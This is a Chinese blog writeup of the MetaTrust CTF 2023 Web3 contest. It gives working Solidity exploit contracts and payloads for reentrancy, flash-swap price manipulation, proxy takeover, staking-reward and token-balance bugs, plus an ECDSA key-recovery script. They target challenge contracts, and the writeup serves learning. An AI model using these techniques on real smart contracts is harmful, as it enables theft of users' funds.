ranwen's blog

随便写写

MetaTrust CTF 2023 Writeup

目录

近日见有组织办Web3的CTF比赛,于是便和几位熟人组队打了打。正好寻思好久没写博客了,于是就有了这份Writeup。部分题目Writeup比较萌新向,可能有点长。本篇出现的题目并不一定表示做出来了,有完整解法。

由于本人一直会的工具链十分单一(没错我不会用Web3.js,也不会用Hardhat,更不会用Foundry),外加有好几个工具链在chainflag的防火墙下不能正常使用,因此大部分题目我都是先在本地环境调好,然后直接发送原始input的。同时我本地使用Jupyter Notebook,因为懒得仔细整理,Writeup可能只会包含创建合约时使用的Solidity源码,以及直接调用合约时的部分源码。

greeterVault

合约代码都不用写的简单题。注意到Vault代理了VaultLogic的代码,因此可以直接调用changeOwner修改owner,之后再调用withdraw达到条件。需要的password直接从storage读。

logicaddr=Web3.toChecksumAddress(rw3.eth.get_storage_at(contaddr,0).hex()[-40:])
impaddr=Web3.toChecksumAddress(rw3.eth.get_storage_at(contaddr,1).hex()[-40:])
print(rw3.eth.get_storage_at(impaddr,1))

payload="0xd3a5b1070000000000000000000000005fcb718543e2003bf1509306d130c92db1852ca7000000000000000000000000"+owner
txn={'value': 0, 'gas': 2500000, 'gasPrice': 5000000000, 'chainId': rw3.eth.chain_id, 'nonce': rw3.eth.get_transaction_count(tta.address), 'from': tta.address, 'data': payload,'to':impaddr}
sendtx(txn)

payload="0x3ccfd60b"
txn={'value': 0, 'gas': 2500000, 'gasPrice': 5000000000, 'chainId': rw3.eth.chain_id, 'nonce': rw3.eth.get_transaction_count(tta.address), 'from': tta.address, 'data': payload,'to':impaddr}
sendtx(txn)

greeterGate

要写合约代码的简单题。要满足条件需要调用unlock函数,这要求该调用必须从函数自己发出且包含data[2]。我们可以读S[5]得到data[2]。slot位置不需要去分析数据类型,只需要把bytecode逆向一下看看require里面拿的是谁就好了。使用resolve函数来让合约调用自己,注意这里面检查了调用必须是合约发出的,因此我们写一个小合约来调用resolve。从resolve调用unlock的payload我们人工调用一下unlock函数然后复制就行。

contract hack
{
    constructor(address to)
    {
        Gate(to).resolve(hex"48c89491000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000207465737490ab0000000000000000000000000000000000000000000000000000");
    }
}

ByteVault

简单题。我们只需要写一个合约调用withdraw函数即可满足条件。withdraw中那一大坨只是在复制代码(不知道为什么要写成Yul)。需要满足的条件很简单:代码长度为奇数,且里面含有deadbeef的串。第二个我们只需要让代码含有0xdeadbeef的立即数就行了,第一个的话我们多试试,如果不是的话加点垃圾代码。注意由于合约里面会使用transfer调用sender,所以要写个receive或者fallback。

contract hack
{
    address val;
    constructor(address p) public 
    {
        val=p;
    }
    function gg() public returns (uint)
    {
        return 0xdeadbeef;
    }
    function work() public
    {
        BytecodeVault(val).withdraw();
        msg.sender.transfer(address(this).balance);
    }
    function () external  payable 
    {
        uint x=1;
    }
}

Achilles

稍微有点麻烦的有点意思的题。容易发现两个Token合约里面,WETH是标准合约,Achilles中多了一个_airdrop方法可以用来凭空产生钱。注意到池子里面两个Token都有1000个,因此当我们能产生足够的Achilles时,就能在池子里面换出100个WETH然后拿到flag。

注意到初始情况下airdropAmount=0,因此如果我们想要刷钱,需要先调用Airdrop方法修改airdropAmount。而要调用Airdrop方法,就需要先让池子不平衡,使得池子里面WETH个数是Achilles个数的5倍。

我们再分析一下池子合约的逻辑。实际上这基本上就是UniswapV2的写法:当调用swap方法的时候,合约会先向你发送对应数量的Token,之后检查池子的大小和上一次更新时的大小是否一致(准确地说,不更小)。合约内存在一组reserve变量来维护每次更新时池子的大小。因此我们要完成一次成功的交换,应该主动向池子发送对应数量的Token,然后调用swap获得池子发送的Token。这个发送Token的过程可以在swap前也可以在swap中(注意到swap函数中会执行pancakeCall调用)。对合约安全敏感的人已经可以发现,swap函数中有了向外的任意合约调用pancakeCall,这也意味着发生这次调用时,池子合约的内部状态可能是不一致的,这就给了我们利用的机会。如果我们调用swap函数让池子输出大量的Achilles,那么pancakeCall被调用的时候,WETH的数量远大于Achilles数量,我们就可以去调用Airdrop修改airdropAmount了。而为了让swap方法不回滚,我们需要让池子的钱不变少,那么只需要在最后把池子发的所有钱还回去就好了。

之后我们再分析一下_airdrop方法。首先敏感的人已经可以发现一个非常值得利用的地方:在发送Token的时候,不是在原来的balance基础上加上airdropAmount,而是直接设置为airdropAmount。注意到这个函数里面有一层会执行airdropAmount次的for循环,这就意味着我们不能把airdropAmount设得太大。看起来我们不能获得足够的Achilles让池子换出WETH了。但是,我们可以强行操作价格:我们使用_airdrop将池子的Achilles余额设置为airdropAmount,强行抬高价格,这样我们就只需要刷出同样多的Achilles就可以换出池子一半的WETH了。注意设置完余额后需要调用sync函数来更新reserve变量。

最后我们只需要解决一个问题:如何让_airdrop执行到我们想要的地址上。由于上述我们已经分析了airdropAmount的大小不重要,因此我们选取一个最简单的值,取airdropAmount=1,这样for循环就只会执行一次。此时我们调用_transfer方法,就可以给地址 (uint160(msg.sender) | block.number) ^ (uint160(from) ^ uint160(to)) | amount 空投。显然我们最好取amount=0。简单计算一下,我们只需要调用 transferFrom(address(uint160(uint160(address(msg.sender)) | block.number)),to,0) 就可以给to发钱了。

因此我们写一个合约完成上述流程:合约里面有pancakeCall函数来设置airdropAmount,之后给池子清空Achilles,然后再给自己刷钱后从池子换出WETH。

contract hack {
    address public wetha;
    address public paira;
    address public achillesa;
    function pancakeCall(
        address sender,
        uint amount0,
        uint amount1,
        bytes calldata data
    ) external 
    {
        IPancakePair pair = IPancakePair(msg.sender);
        address token0 = pair.token0();
        address token1 = pair.token1();
        Achilles achilles = Achilles(achillesa);
        achilles.Airdrop(1);
        IERC20(token0).transfer(msg.sender, IERC20(token0).balanceOf(address(this)));
        IERC20(token1).transfer(msg.sender, IERC20(token1).balanceOf(address(this)));

        IERC20(achillesa).transferFrom(address(uint160(uint160(address(this)) | block.number)),address(this),0);
        IERC20(achillesa).transfer(msg.sender, IERC20(achillesa).balanceOf(address(this)));
    }
    constructor(address setup)
    {
        SetUp s = SetUp(setup);
        wetha = address(s.weth());
        paira = address(s.pair());
        achillesa = address(s.achilles());
    }
    function work() public
    {
        IPancakePair pair = IPancakePair(paira);
        pair.swap(IERC20(achillesa).balanceOf(paira)-1, 0, address(this), "ndmmd");

        IERC20(achillesa).transferFrom(address(uint160(uint160(address(this)) | block.number)),address(paira),0);
        pair.sync();
        IERC20(achillesa).transferFrom(address(uint160(uint160(address(this)) | block.number)),address(this),0);
        IERC20(achillesa).transfer(paira, IERC20(achillesa).balanceOf(address(this)));
        pair.swap(0, 400 ether, address(this), "");
        IERC20(wetha).transfer(msg.sender, IERC20(wetha).balanceOf(address(this)));
    }
}

Who

比较麻烦的EVM特性题,有一定难度。我们需要按照顺序依次完成合约里面的setup,stage1,stage2,stage3,stage4五个挑战然后拿到flag。

第一个挑战setup需要我们准备一个满足 address%1000 == 137 的调用地址。显然我们可以直接大力找到一个满足条件的EOA的私钥,但是我个人还是比较喜欢用CREATE2来做可控地址创建。我们写一个setup合约,使用CREATE2来创建任务合约,通过枚举salt的方式来保证地址的条件被满足。枚举salt后网上找一点代码,不难计算出CREATE2的合约地址。

第二个挑战stage1是我们要给合约写一个check函数,使得两次staticcall时返回不同的结果。如果没有staticcall的话很简单,我们只需要给合约写一个变量存储第几次调用就好了。但staticcall不能改变存储状态,因此不行。然而staticcall并不是不会带来任何状态修改,其实一个Tx中任何不被Revert的操作都有可能影响它所在的Tx状态,例如SLOAD和SSTORE的冷热访问状态(即Access Set)(没错Access Set是会被Revert重置的)。当然被Revert的操作有可能带来状态修改,例如gas。(感谢某年Hackergame的题目)我们只需要利用这个特性来检测是是不是第一次调用即可:每次调用的时候都访问某个特定的存储地址,如果消耗的gas比较多的话则说明是第一次的冷访问,即首次调用;否则说明是热访问,即不是首次调用。之后再根据gas来选择性返回即可。

第三个挑战stage2是需要让_stage2恰好返回7。观察一下函数实现,发现这个函数会无限递归调用自己,直到某次调用失败,最后返回的数字就是递归深度。显然我们只需要让函数在特定的递归深度出错即可,而我们显然可以通过给函数调用增加gas限制来实现(注意到EVM在调用其他合约的时候会保留1/64的gas,所以除了最后一层调用以外,其他的调用都可以正常返回)。看具体gas限制到多少比较痛苦,因为我本地调试的EVM版本、字节码之类的和远程不一样(虽然其实可以把字节码拉到本地)。但是我们可以大力一点:估计一个大概的范围,然后在这个范围内依次枚举gas大小,看看会不会被Revert,成功了再进行下一步。

第四个挑战stage3是要让我们写一个sort函数,使得其只需要3888的gas就能对指定数组完成排序。显然这个gas容量并不够我们正常排序,我们不难发现要排序的数组是确定的,因此我们可以在stage3前提前排好,然后写个sort函数返回我们提前排好的数组就行。但具体怎么返回也是要研究一下:直接在函数里面返回数组是不行的,在函数结束的地方gas会炸(还好不是在进入时的selector部分炸)。因此我们可以手写一下Yul,手动把需要返回的值加载到内存内然后直接调用return。需要注意一下动态数组的格式。

第五个挑战stage4实际上就是让我们直接写solved的存储了。stage4会调用pos函数,然后以函数返回值作为索引直接写入存储值1。因此我们只需要写个pos函数计算一下stats[4][who]的存储位置即可。

contract hacker
{
    address to;
    uint iter=0;
    uint[8] challenge;
    bytes chall;
    constructor()
    {
        to=hack(msg.sender).to();
    }
    function work() public 
    {

        challenge[0] = (block.timestamp & 0xf0000000) >> 28;
        challenge[1] = (block.timestamp & 0xf000000) >> 24;
        challenge[2] = (block.timestamp & 0xf00000) >> 20;
        challenge[3] = (block.timestamp & 0xf0000) >> 16;
        challenge[4] = (block.timestamp & 0xf000) >> 12;
        challenge[5] = (block.timestamp & 0xf00) >> 8;
        challenge[6] = (block.timestamp & 0xf0) >> 4;
        challenge[7] = (block.timestamp & 0xf) >> 0;
                for(uint i=0 ; i<8 ; i++) {
            for(uint j=i+1 ; j<8 ; j++) {
                if (challenge[i] > challenge[j]) {
                    uint tmp = challenge[i];
                    challenge[i] = challenge[j];
                    challenge[j] = tmp;
                }
            }
        }
        uint[] memory challs = new uint[](8);
        for(uint i=0;i<8;i++)
        {
            challs[i]=challenge[i];
            uint tmp=challenge[i];
            assembly
            {
                sstore(add(i,0x660),tmp)
            }
        }
        chall=abi.encode(challs);
        Foo(to).setup();
        Foo(to).stage1();
        // Foo(to).stage2{gas:59999}();
        uint ok=0;
        for(uint i=0;i<200 && ok==0;i++)
        {
            uint gasl=15000+500*i;
            try Foo(to).stage2{gas:gasl}()
            {
                ok=1;
                break;
            }
            catch
            {

            }
        }
        if(ok!=1)
        {
            uint test1=Foo(to)._stage2{gas:15000}();
            uint test2=Foo(to)._stage2{gas:15000+1000*100}();
            // require(ok==1,string(abi.encode("stage2 GG",Strings.toString(test1),Strings.toString(test2) )));
        }
        // revert("finish2");
        Foo(to).stage3();
        Foo(to).stage4();
    }
    function check() public returns(bytes32)
    {
        uint gbef=0;
        uint gaft=0;
        assembly
        {
            gbef:=gas()
            let x:=sload(0x66666)
            gaft:=gas()
        }
        uint gasc=gbef-gaft;
        if(gasc>2000)
            return keccak256(abi.encodePacked("1337"));
        return keccak256(abi.encodePacked("13337"));
    }
    function sort(uint[] calldata c) public returns (uint[] memory ret)
    {
        assembly
        {
            mstore(0x0, 0x20)
            mstore(0x20,0x8)
            mstore(0x40,sload(0x660))
            mstore(0x60,sload(0x661))
            mstore(0x80,sload(0x662))
            mstore(0xa0,sload(0x663))
            mstore(0xc0,sload(0x664))
            mstore(0xe0,sload(0x665))
            mstore(0x100,sload(0x666))
            mstore(0x120,sload(0x667))
            return(0x0,0x140)
        }
    }
    function pos() public returns (bytes32)
    {
        bytes32 posc=keccak256(abi.encode(0x04,0x01));
        bytes32 rex=keccak256(abi.encode(address(this),posc));
        return rex;
    }
}

contract hack
{
    address public to;
    address public pxa;
    constructor(address v)
    {
        to=v;
    }
    function setup() public
    {
        uint salt=0;
        bytes memory bytecode = type(hacker).creationCode;
        bytes memory initcode=abi.encodePacked(bytecode, abi.encode());
        bytes32 cch=keccak256(initcode);
        for(uint i=0;i<10000;i++)
        {
            bytes32 hash = keccak256(
            abi.encodePacked(bytes1(0xff), address(this), i, cch));
            uint hashv=uint160(uint256(hash));
            if(hashv%1000==137)
            {
                salt=i;
                pxa=address(new hacker{salt: bytes32(salt)}());
                return;
            }
        }
        revert();
    }
    function work() public
    {
        hacker(pxa).work();
    }
}

StakingPool

非常有意思的题。难度主要在理解代码逻辑上,理解之后并不难。本题的核心是StakingPools合约,里面使用了三个Token,stakedToken、rewardToken和rewardToken2。我们需要获得所有的rewardToken和比所有的还要更多的rewardToken2。经过简单审计容易发现,前两个Token是标准实现,而rewardToken2使用的V2实现的_transfer方法与前面不一致。不难发现这里面有个经典错误,当我们取from=to的时候就能让from的balance凭空直接增加amount,因此我们可以做到调用一次总余额就翻倍。

那么我们只需要研究如何从StakingPools掏出所有reward即可。先看池子计算reward的逻辑,为了简化我们忽略掉一些常数:池子维护了一个变量accTokenPerShare,表示假如有一个Token的存款,从开始计算奖励一直存到现在,应该收到多少reward。假设现在有一个人存了amount个Token,上一次领取奖励的时间是t1,对应accTokenPerShare1。那么当这个人在t2领取奖励时,其应该收到(accTokenPerShare2-accTokenPerShare1)*amount这么多奖励。为了实现更简洁,我们可以对每个用户存储一下上次领取奖励时accTokenPerShare*amount,即题目中的rewardDebt

accTokenPerShare的维护并不困难,我们只需要在几乎所有操作里面都加上_updatePool的调用。该函数会获取池子内的Token总量,以及上一次更新的时间,进而算出这段时间内每一份存款应该分到多少reward,然后加到accTokenPerShare上。具体调用顺序细节其实也值得去注意,本题的实现几乎是非常完美的,可以仔细思考一下。

我们再看一下合约代码。几乎所有地方都良好地实现了上述逻辑,但还是存在问题。我们注意到,上述逻辑要求用户两次领取奖励时存款是一样的。在合约的withdraw和deposit函数中,会自动领取奖励,因此可以保证上次领取的时间到这次领取(存款改变前)、以及下次领取和这次领取(存款改变后)的用户存款量是一致的。但是有一个函数不符合这个情况:transfer系列函数,会使得用户的存款量改变,而又没有执行领取奖励的操作,不满足一致性的假设。具体地,当用户A在t1只存了一点钱时,若用户B在t2存了一大笔钱并转给A,则合约会认为A在上次领取(即t1)到t2一直都存了这么多钱。而注意到这一段时间内池子内只有一小笔钱,因此一个Token会分到的奖励是远大于池子有一大笔钱的时候的,此时A领取到的奖励要比正常情况下t1到t2这段时间下发的更多。

我们使用两个账号A和B,不难构造exp。注意到有些操作需要拉开时间差,不能在一个块内进行。

A,B:faucet&approve

A: deposit 1

B: deposit 9999

B: transfer 9999 to A

A: withdraw 10000(and all reward token)

A: rewardToken2.transfer(A,A,balance) * 5

DeFi Maze

比较简单的题目,识别出每个函数的调用流程后不难做出。要满足Valut的isSolved条件,需要满足flagHash==H(msg.sender),而flagHash是写好常数的,也没法找到对应的地址,没法直接满足。我们注意到合约恰好实现了一个processWithdrawal函数,可以修改对应位置的存储为函数参数的user。也就是说,只要我们能正常调用processWithdrawal(msg.sender,secretThreshold)就可以覆盖flagHash然后调用isSolved了。

我们发现processWithdrawal只能在DeFiPlatform中的requestWithdrawal函数调用。而要调用这个函数,我们需要先存一笔钱,然后调用calculateYield修改收益。注意到calculateYield函数写得非常随意,中间的Yul也没有溢出检测,可以控制的参数也非常多,因此我们随意构造一组数字就能deposit溢出到一个超级大的值。之后我们再调用requestWithdrawal(secretThreshold)即可。

具体地,我们可以使用四次调用:depositFunds(1 ether),calculateYield(666666,0,2),requestWithdrawal(7 ether),isSolved

ECDSA

不算链题,算Crypto题,不难。仔细检查一下就能发现,这个ECDSA的实现并不标准。ECDSA中要求k要随机生成,但是这个题里面没有,写了一个random函数但生成的是一个确定的k。

仔细分析一下,可以发现这个k的性质非常好:对于两条使用同样的私钥dd进行签名的消息m1m_1m2m_2,尽管我们并不能直接逆向得到生成时使用的k(单独来看和原始的ECDSA算法是一样的),但我们总有k2k1=m2P.xm1P.xk_2-k_1=m_2P.x-m_1P.x,而这是个可以算出来的数字。因此我们可以再推一推公式:

s=k1(m+rd)s=k^{-1}(m+rd),则k=s1(m+rd)k=s^{-1}(m+rd),因此k2k1=s21(m2+r2d)s11(m1+r1d)k_2-k_1=s_2^{-1}(m_2+r_2d)-s_1^{-1}(m_1+r_1d)

注意到此式仅有dd一个未知量,因此可以解出d=((k1k2)s1s2m2s1+m1s2)(r2s1r1s2)1d=((k_1-k_2)s_1s_2-m_2s_1+m_1s_2)(r_2s_1-r_1s_2)^{-1}。然后直接掏私钥造签名就行。发上链得到flag。

jx1 = 0x53b907251bc1ceb7ab0eb41323afb7126600fe4cb2a9a2e8a797127508f97009
jy1 = 0xc7b390484e2baae92df41f50e537e57185cb18017650a6d3220a42a97727217d 
JP1 = EPoint(jx1,jy1)
JPM1=mult(JP1,pm1)
JPM2=mult(JP1,pm2)
deltav=bigint_sub_mod(JPM2.x,JPM1.x,SN)
d=bigint_div_mod(deltav*ps1*ps2-pm2*ps1+pm1*ps2,pr2*ps1-pr1*ps2,SN)
a,b=sign_ecdsa(d,pm1)
print(hex(a),hex(b))

guseeGame

比较有意思的题。这题要我们输入四个参数满足guess函数的四个条件。只是简单分析一下的话发现这些条件似乎是没法满足的。但我们不难看出constructor函数末尾调用了一个非常奇怪的pureFunc。注意到immutable变量本质是在initcode中对源代码的对应位置进行了替换,之后直接输出替换后的code来使得值不进入storage。因此我们考虑这个pureFunc可能改掉了上面的immutable变量。于是我们直接从链上掏下来部署后的code进行逆向,和源代码进行对照来得出真正使用的值。

逆向后可以发现,random01=1,random02=2,random03=32,而random04没有变化。因此我们不难构造guess参数:

通过逆向可以知道,solidity中当前数组长度是存在0x60的位置的,因此要满足第一个条件我们需要取_random01=0x60,value=1

对于第二个,我们只需要取(2-(address+1+2+0x20))&0xff

对于第三个,我们需要函数调用一个地址非常小的合约的Fallbacker函数,其返回的长度恰好是32。对EVM熟悉的人,看到地址非常小的合约就应该想到precompiled。显然0x2和0x3作为可以接受任意输入的哈希函数调用,返回的长度一定是32,我们随便选一个就好了。

对于第四个,由于由于没有做任何修改,不难看出直接取参数为10就行。

registry

不是很难的题。我们需要先注册一个地址,之后让这个地址的钱数减少59425114757512643212875124后触发identifyNaryaHacker。不难发现调用pwn函数是可以减钱的,尽管函数中限制了只能用一次,但是不难发现由于里面存在任意调用且没有做防护,我们可以任意重入。

再分析一下pwn函数的逻辑,发现函数限制了每次调用的值必须是斐波那契数列。我们搜索一下也不难发现59425114757512643212875124是斐波那契数列的第前127项的和。也就是说我们只需要来回调用127次pwn就行。当然我们不用在代码里面检查次数,直接维护一个balance就好了。具体写的时候注意由于EVM call时gas会减少,而我们来回需要调用两百多层,因此我们应该把gas限制尽可能地拉大。

这题不知道为啥,上线之后环境一直崩,修了好久才修好。。本来看到题就写了exp结果半天交不了。

contract hack
{
    NaryaRegistry reg;
    uint256 public deltav=0;
    constructor(address t) public 
    {
        reg=NaryaRegistry(t);
    }
    function work() public
    {
        reg.register();
        deltav=reg.balances(address(this))-0xda0;
        reg.pwn(2);
        require(reg.balances(address(this))==0xda0);
        reg.identifyNaryaHacker();
    }
    function PwnedNoMore(uint256 amo) public 
    {
        deltav-=amo;
        if(deltav==0)
        {
            return;
        }
        uint nt=reg.records1(address(this))+amo;
        reg.pwn(nt);
    }
}

swap

这题不是我做的。大概需要对合约做一个逆向,然后用某个ERC的特性来搞。队友太强了!

其实比较熟练的话可以发现这题不用逆向的

ByteDance

这题也不是我做的。大概是要手写一段bytecode满足某些条件。队友太强了!

ETHStaking

这题还不是我做的。代码挺长的,不过大概审完逻辑后不难做。这题最开始上了个比较难的版本,但是只能在真链环境上(或者手动部署Deposit合约)才能做,上线一段时间后把代码改了难度削了。队友太强了!

Real ETH Staking

这题仍然不是我做的。用上一题一样的exp就行。因为上一题最开始的版本比较难,因此改题后有人表示这样对之前就开始看的人不公平,可能也是因为比赛后期排名区分不开了,于是就有了这道题。这题是部署在链上fork的环境下的怎么chainid都一样,这下用主网地址的输麻了,本来是可以做原来那个题的,但是主办方改代码没改完,所以上一题的exp还是可以打通。另外这题需要领32个才能部署,为了保证提交时间,我们几个人只能同时一块领faucet然后打过去来快速凑钱。队友太强了!

ZKPlus

全场最震撼的题目。至今不知道发生什么事了,几乎颠覆了我对密码学的理解。

题目本身不长,合约也很好理解,没有用到什么EVM特性。但显然我们要满足的条件过于震撼,因此第一步我就选择了去逆向一遍bytecode,看看是不是存在编译器bug。结果发现编译器行为和我预期的完全一致,于是我就更不能理解了。

题目要求我们(多次)调用transfer函数,并附带一个proof,使得我们总共可以恰好转出owner的S=10000000000000000000000000的钱,同时proof不能重复使用,而且此函数也做了溢出检查。

首先我们注意到,transfer函数中,由于我们只会固定转出owner的,因此参数from和to都不重要,只有amount是重要的。而在verifyProof中,总共输入了6个参数a,b,c,from,to,amount,其中from和to只参与到了challenge的hash计算,因此也不重要(反而还提供了hash原像的自由度)。我们只需要考虑剩下四个。

验证函数里面,有一个比较奇妙的条件,就是要求a+b = amount,结合另外一个条件b = hashed_sender_relation = H(sender||a)%2**128就非常恐怖了。首先我们对sender的值的控制是比较弱的:虽然我们可以枚举,但是我们必须是先从一个私钥/CREATE2合约出发,再使用keccak单向计算出sender的地址。这就意味着,当我们选择一个确定的a时,b的值基本上就被确定了。同时我们也不可能通过一些场外方法满足这个条件(比如先在某些地方找到符合条件的hash之后再去构造原像)。而由于调用verifyProof的transfer方法会验证amount <= S,带入后可以发现,我们需要找到一个恰当的a,满足0 <= a+(H(sender||a)%2**128) <= S。尽管题目编译器的版本是7我们可以随便溢出,但是无论怎么处理,这还是意味着如果我们枚举a,那么仅有不到S/2**128的概率是满足条件的。如果我们利用溢出的话,则枚举时a的范围可以取[0,S]也可以取[2**256-S,2**256),但这不关键。

我们再看另外两个条件。显然c本身的构造是不关键的,但是围绕c有两个等式:如果a和2**128互质,则推一下同余式,我们需要满足H(sender||a)%2**128=b=chall%2**128=H(from||to||a+b)%2**128。注意到这两个哈希原像的长度都不想等,因此我们除了暴力枚举的方法以外,也没有办法让这两个相等。

好在a不一定要和2**128互质。我们不妨先考虑一个极端情况,a=0。注意到在这个情况下,如果我们要匹配前面的条件就必须枚举sender了,不过这不关键。在这个情况下,b的值倒是和chall=H(from||to||a+b)%2**128没关系了,也就是说不管怎么构造chall都可以找到满足条件的c(其实就是c=0)了,只需要考虑第一个条件就好了。当然对于更一般的情况,我们不难推出,这要求如果a的二进制表示末尾有k个0,那么chall%2**128的高k位就是不关键的,而剩下128-k位仍然需要和b相同。也就是说无论如何我们始终是对a和chall中总共128个bit的值提出了限制。所以这些条件还是没有办法完全跳过。

因此我们要找到一个成功的proof,必须要枚举sender,同时在特定的范围内枚举a,之后得到一个不受控的b,检查是否满足a+b<=S。这意味着我们期望枚举2**128/S次才能成功找到一个proof,而且只能保证a+b<=S,不能保证其恰好等于某个值。当然这个操作可以让显卡完成,写得好的话在家用显卡上找到一个proof大概只需要五小时左右,勉强可以接受。

对于这道题,其实我们不难搜到在Numen CTF 2023中出过一道类似的题,但这题做法其实很显然,因为b和a没有关系,我们可以直接假设b=chall,之后枚举一下哈希的原像,只要满足b<=S后就能构造出满足条件的abc,并且可以使得a+b=S。但是对于这道题就不行了,因为a+b并不受控。

在考虑完如何找到一组可行的proof后,我们再考虑如何满足题目条件,即恰好转走所有的钱。不妨假设我们已经找到了很多组可行的proof,由于每个proof只能用一次,因此我们要考虑如何选择一些proof,使他们的amount加起来恰好为S。如果能解决这个问题,那么我们只需要多找一些proof,然后多次提交transfer就行了。

显然这是一个01背包问题,或者说子集和问题。然而这是一个经典的NP问题。解决这个问题有很多经典的做法,比如基于格理论的一些方法(构造矩阵然后用LLL或者BKZ求解),或者直接使用折半查找。但是无论是使用什么方法,数据的规模总是重要的,因此最好还是先估计一下,我们大概需要多少条proof才能构造出这个子集和。

首先我们不难使用正态分布对任意子集和的分布进行估计。使用正态分布估计得到,对于在[0,S]均匀分布的数来说,如果要使得对应概率的面积大于1,则n至少应该在300以上。但由于正态分布是拿来做连续估计的,而实际的随机情况中可能方差非常大(这就意味着可能有一些情况该子集和问题有大量的解,而有一些情况完全没解)。为了得到更确切的规模,我又写了一份求解器,对S比较小的情况进行随机模拟,根据模拟成功的概率推算出对于这个比较小的S,一个合理的n应该是多大。同时我们再针对多个S进行规模的估计,最后用人脑强行拟合一下,看看真实需要的规模到底是多少。最后拟合出来的值在500附近,这已经是一个过大的值了。

当然我们还是要试一试求解器的功力有多大。由于本题中每个数是在[0,S]均匀分布的,且我们是先有值再去拟合答案的(和破译子集密码之类情况下答案一定存在的情况不同),与市面上常见的情况不同,也有不少可以做优化的地方,所以还是得实践一下。实验结果发现,不管是基于格密码的求解器,还是已经写了不少优化的折半查找求解器,在家用电脑上可以接受的时间和内存内,只能做到n=250附近的规模,完全不够题目使用。而且注意到复杂度显然是随着规模指数增长的,所以大概是完全没戏了。

当然,或许再优化一下可以在超算之类的平台上完成,但是这个成本已经是难以承受的了。大约是需要花费几千块人民币的规模。所以最后还是没有做完这道题。

主办方说这题有一些Trick可以拿来搞,然而官方wp一直在咕。坐等这题解法,我倒是想看看到底是哪块我没有考虑到的。

本题中有大量的思路和过程由队友提供,然而还是不足以做出这题。总之队友还是太强了。

Vvault

奇妙的题。最开始直接看代码写的exp不能过,但看trace时结合sotrage的变化,不难发现是depositOnce中_rewardAmount的计算不符合预期。于是照字节码逆向了一下,似乎是vyper编译器有问题。逆向后发现,depositOnce中调用calculateForRewardRate函数时,第二个参数_multiplicate取的不是字面理解的默认值20,而是1。不知道怎么搞的。

我们再考虑题目应该怎么做。显然只要我们能成功调用purchaseForOwner函数就能拿到flag。这要求我们的用户满足deposits=10000000*time,而要修改deposits,只能通过depositOnce函数,这个函数只能调用一次。而在调用depositOnce前我们需要先调用createMyNode注册并取得nodeId和设置nodeRewardRateBase。

审计逻辑不难发现,depositOnce会把deposits改成self.balance*value*_rewardRate,即(oldbalance+value)*value*_rewardRate。在调用depositOnce函数时我们需要指定一个_nodeId,这个id对应的odeRewardRateBase决定了calculateForRewardRate函数返回的_rewardRate。

考虑到time的分解不稳定,要让deposits达到指定的值,我们不妨取self.balance=(oldbalance+value)=time,而调用calculateForRewardRate时参数_multiplicate取默认值20,因此如果我们取_rewardRateBase=99995,则有_rewardRate=500000。我们再取value=20,之后手动控制一下oldbalance就好了。

这块其实可以用强制转账。我使用了比较自然的方法:先开了一个新户调用depositOnce往里面存oldbalance这么多钱,同时设置好我们需要的odeRewardRateBase的值,之后再进行正式的流程。我们在写代码的时候可以用solidity给vyper合约写一个interface,方便一些。

interface val {
    function isSolved() external returns(bool);
    function createMyNode(uint,uint,uint) external;
    function purchaseForOwner() external ;
    function depositOnce(uint) payable external ;
    function emergencyWithdraw() external ;

    function deposits(address) external view returns(uint256);
    function nodeRewardRateBase(uint) external view returns(uint256);
}

contract hacker
{
    address to;
    constructor(address v) payable 
    {
        to=v;
        val(to).createMyNode(999,99995,6);
        val(to).depositOnce{value:msg.value}(999);
    }
}

contract hack
{
    address to;
    constructor(address v)
    {
        to=v;
    }

    function work() public payable 
    {
        uint rv=10000000/500000;
        uint sbv=block.timestamp-rv;
        hacker sb=new hacker{value:sbv}(to);
        val(to).createMyNode(666,99995,6);
        val(to).depositOnce{value:rv}(666);
        val(to).purchaseForOwner();
    }
}

BytesMove

这题不是我做的。这题是一个MoveVM字节码的逆向。由于我前几周正好在某个比赛中碰到了类似的题,因此我直接就掏出了当时网上抄的反汇编工具(由于有SDK,其实只需要写十来行rust代码),反汇编后就扔给队友了。MoveVM的字节码比较清真,很好理解,因此人人都能上手逆向,只是我上次被搞吐了,看着就烦。当然这题要强烈谴责一下主办方,下发的文件更新了一下,但是flag居然是以老文件为准的,害的队友逆向了两个文件。队友太强了!

Hello World

Sui系列入门题之一。主办方非常好心地提供了一个完整的解题框架,因此我们只需要写Move代码本身就好了。这一系列题目主要还是在考察对Move语言的熟悉度,我们边照猫画虎边学习就够了。对于本题,显然我们只需要正确地调用answer_to_life函数,并输入正确的answer就行了。答案不难猜出是42。注意输入的类型是vec<u8>,即bytes。

module solution::hello_world_solution {
    use challenge::hello_world;
    public entry fun solve(status: &mut hello_world::Status) {
        hello_world::answer_to_life(status,b"42");
    }
}

Friendly Fire

Sui系列入门题之二。显然我们只需要正确地调用prestige函数,并输入正确的ctxSender就行。注意到输入的格式是String类型就行。

module solution::friendly_fire_solution {
    use sui::tx_context::TxContext;
    use challenge::friendly_fire;

    public entry fun solve(status: &mut friendly_fire::Status, ctx: &mut TxContext) {
        friendly_fire::prestige(status,std::string::utf8(b"0x31337690420"),ctx);
    }
}

McChicken

Sui系列比较难的题,真正开始考察语言的语法与设计了。从这题开始最好本地也部署服务端了,因为可以看到具体报错。做这题的第一个挑战是,提供的模板不给不全函数接口了。那么具体传入参数是什么还得看server的rust源码是怎么写的。我们发现server传入的是一个FakeID::Enumerated的东西。我们结合前两题的用法,以及本题重复引用的一些对象,不难猜出,这个东西指代的是一个全局性质的struct,而他的ID就是创建时按顺序分配的编号。因此本题没有写出的三个参数分别是ChefCapability,Order,Order类的。

